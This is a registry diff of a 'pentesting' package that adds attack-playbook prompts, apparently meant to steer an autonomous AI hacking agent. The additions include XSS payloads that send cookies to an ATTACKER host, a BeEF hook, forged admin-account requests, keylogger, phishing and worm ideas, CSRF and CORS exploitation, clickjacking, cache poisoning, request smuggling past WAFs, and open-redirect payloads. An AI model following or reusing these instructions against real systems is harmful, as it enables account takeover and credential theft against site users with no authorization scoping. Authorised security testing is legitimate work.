pentesting 0.44.1 → 0.46.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -1
- package/dist/main.js +441 -190
- package/dist/prompts/base.md +16 -18
- package/dist/prompts/exploit.md +268 -12
- package/dist/prompts/orchestrator.md +49 -0
- package/dist/prompts/strategy.md +205 -0
- package/dist/prompts/web.md +96 -0
- package/package.json +1 -1
package/dist/prompts/web.md
CHANGED
|
@@ -96,6 +96,31 @@ LDAP error → LDAPi → web_search("LDAP injection payload")
|
|
|
96
96
|
- → Gets 10+ alternative payloads automatically (SVG, IMG, event handlers, encoding variants)
|
|
97
97
|
**3. Blind XSS:** Setup callback server → inject payload with callback URL → wait
|
|
98
98
|
**4. DOM-based:** Analyze JavaScript for sinks (innerHTML, document.write, eval) that use user-controlled sources (location.hash, postMessage)
|
|
99
|
+
**5. Exploitation chains (XSS is NOT just alert(1)):**
|
|
100
|
+
- **Session theft:** `<script>fetch('http://ATTACKER/'+document.cookie)</script>` → admin session → admin panel → shell
|
|
101
|
+
- **CSRF via XSS:** `<script>fetch('/admin/adduser',{method:'POST',body:'user=hacker&role=admin'})</script>` → create admin account
|
|
102
|
+
- **Keylogger:** inject JS keylogger → capture all typed credentials from victim
|
|
103
|
+
- **Credential phishing:** inject fake login form via XSS → harvest real passwords
|
|
104
|
+
- **BeEF hook:** `<script src="http://ATTACKER:3000/hook.js"></script>` → full browser control
|
|
105
|
+
- **Worm:** self-replicating stored XSS → compromise all users automatically
|
|
106
|
+
- → See exploit.md Cross-Reference Matrix for full XSS chains
|
|
107
|
+
|
|
108
|
+
#### CSRF (Cross-Site Request Forgery)
|
|
109
|
+
|
|
110
|
+
**1. Detection:** Check for CSRF tokens on state-changing forms/APIs
|
|
111
|
+
- No token? → CSRF likely possible
|
|
112
|
+
- Token present? → Check: is it validated? Try removing, empty, same for all users
|
|
113
|
+
**2. Exploitation:**
|
|
114
|
+
- Password change: forge request → change admin password → login → RCE
|
|
115
|
+
- Email change: forge → change email → password reset → account takeover
|
|
116
|
+
- Admin actions: forge → create admin user, modify settings, upload files
|
|
117
|
+
**3. Bypass techniques when CSRF protection exists:**
|
|
118
|
+
- Remove token parameter entirely → sometimes server ignores absence
|
|
119
|
+
- Use another user's token → sometimes not session-bound
|
|
120
|
+
- Change request method (POST→GET) → different validation path
|
|
121
|
+
- SameSite=Lax bypass → top-level navigation via GET
|
|
122
|
+
- Sub-domain with XSS → bypass SameSite cookie
|
|
123
|
+
- → `web_search("CSRF bypass techniques {year}")`
|
|
99
124
|
|
|
100
125
|
#### SSRF / IDOR / Path Traversal
|
|
101
126
|
|
|
@@ -156,6 +181,77 @@ If file upload exists → test bypass systematically:
|
|
|
156
181
|
When serialized data is detected (Java: rO0AB, PHP: O:, .NET: AAEAAAD, Python pickle):
|
|
157
182
|
- web_search("{language} deserialization exploit ysoserial")
|
|
158
183
|
- Build payload → test → RCE
|
|
184
|
+
- See exploit.md Cross-Reference Matrix for chaining
|
|
185
|
+
|
|
186
|
+
#### CORS Misconfiguration
|
|
187
|
+
|
|
188
|
+
```
|
|
189
|
+
1. Check: curl -sI -H "Origin: https://evil.com" http://<target>/api/
|
|
190
|
+
→ Access-Control-Allow-Origin: https://evil.com = VULNERABLE
|
|
191
|
+
→ Access-Control-Allow-Credentials: true = CRITICAL (auth data exfiltration)
|
|
192
|
+
2. Test null origin: curl -H "Origin: null" → sometimes allowed
|
|
193
|
+
3. Test subdomain: curl -H "Origin: https://sub.target.com" → wildcard subdomain?
|
|
194
|
+
4. Exploit → host JS on attacker page to steal authenticated API responses
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
#### Clickjacking
|
|
198
|
+
|
|
199
|
+
```
|
|
200
|
+
1. Check: response headers for X-Frame-Options or CSP frame-ancestors
|
|
201
|
+
→ Missing = frameable = clickjacking possible
|
|
202
|
+
2. Create HTML: <iframe src="http://<target>/settings" style="opacity:0">
|
|
203
|
+
3. Overlay with attacker UI → trick user into clicking hidden buttons
|
|
204
|
+
4. High-value targets: change password, disable 2FA, authorize app, transfer funds
|
|
205
|
+
5. Bypass X-Frame-Options: web_search("clickjacking bypass frame-busting {year}")
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
#### Web Cache Poisoning / Deception
|
|
209
|
+
|
|
210
|
+
```
|
|
211
|
+
Poisoning (affect OTHER users):
|
|
212
|
+
1. Find unkeyed inputs: X-Forwarded-Host, X-Original-URL, custom headers
|
|
213
|
+
2. Inject payload via unkeyed header → cached → served to all users
|
|
214
|
+
3. XSS in cached response → mass user compromise
|
|
215
|
+
→ web_search("web cache poisoning unkeyed headers param miner")
|
|
216
|
+
|
|
217
|
+
Deception (steal OTHER users' data):
|
|
218
|
+
1. Request: /account/profile.css → server ignores .css, serves profile page
|
|
219
|
+
2. Cache stores authenticated page content → attacker fetches cached page
|
|
220
|
+
3. Try: /victim-only-page/nonexistent.js, /api/me/test.css
|
|
221
|
+
→ web_search("web cache deception attack techniques")
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
#### Mass Assignment / Parameter Tampering
|
|
225
|
+
|
|
226
|
+
```
|
|
227
|
+
1. Register/update with extra fields: {"username":"me","role":"admin","isAdmin":true}
|
|
228
|
+
2. Try adding: admin, role, verified, balance, credits, is_staff, permissions
|
|
229
|
+
3. Check API schema (Swagger/OpenAPI) for hidden fields not shown in UI
|
|
230
|
+
4. Method: replay registration/update request with extra parameters
|
|
231
|
+
5. web_search("{framework} mass assignment protection bypass")
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
#### HTTP Request Smuggling
|
|
235
|
+
|
|
236
|
+
```
|
|
237
|
+
When target uses reverse proxy + backend (CDN → WAF → app):
|
|
238
|
+
1. CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
|
|
239
|
+
2. TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
|
|
240
|
+
3. Impact: bypass WAF, access admin endpoints, poison cache, hijack requests
|
|
241
|
+
4. Use smuggling to access endpoints blocked by WAF → direct exploitation
|
|
242
|
+
→ web_search("HTTP request smuggling CL.TE TE.CL techniques {year}")
|
|
243
|
+
→ web_search("HTTP/2 request smuggling h2c smuggling")
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
#### Open Redirect
|
|
247
|
+
|
|
248
|
+
```
|
|
249
|
+
1. Test redirect/callback parameters: ?url=, ?redirect=, ?next=, ?return=
|
|
250
|
+
2. Payloads: //evil.com, \/\/evil.com, /\evil.com, //evil%00.com
|
|
251
|
+
3. Chain: steal OAuth tokens if redirect_uri is vulnerable
|
|
252
|
+
4. Chain: bypass SSRF restrictions by redirecting through open redirect
|
|
253
|
+
5. Phishing: legitimate-looking URL redirects to fake login page
|
|
254
|
+
```
|
|
159
255
|
|
|
160
256
|
### Phase 4: Verify and Escalate
|
|
161
257
|
|